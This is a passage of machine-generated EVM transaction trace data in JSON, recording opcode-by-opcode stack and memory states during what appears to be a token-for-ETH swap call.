7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15433,"op":"POP","gas":106429,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15434,"op":"PUSH2","gas":106427,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15437,"op":"PUSH1","gas":106424,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15439,"op":"DUP5","gas":106421,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15440,"op":"ADD","gas":106418,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x20","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15441,"op":"PUSH2","gas":106415,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15444,"op":"JUMP","gas":106412,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x3c14"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15380,"op":"JUMPDEST","gas":106404,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15381,"op":"DUP1","gas":106403,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15382,"op":"MLOAD","gas":106400,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x1a0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15383,"op":"PUSH1","gas":106397,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15385,"op":"PUSH1","gas":106394,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15387,"op":"PUSH1","gas":106391,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15389,"op":"SHL","gas":106388,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1","0x1","0x70"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15390,"op":"SUB","gas":106385,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x1","0x10000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15391,"op":"DUP2","gas":106382,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0xffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15392,"op":"AND","gas":106379,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0xffffffffffffffffffffffffffff","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15393,"op":"DUP2","gas":106376,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15394,"op":"EQ","gas":106373,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0xc50dfd48a20630e6","0x0","0x3c55","0x1a0","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c7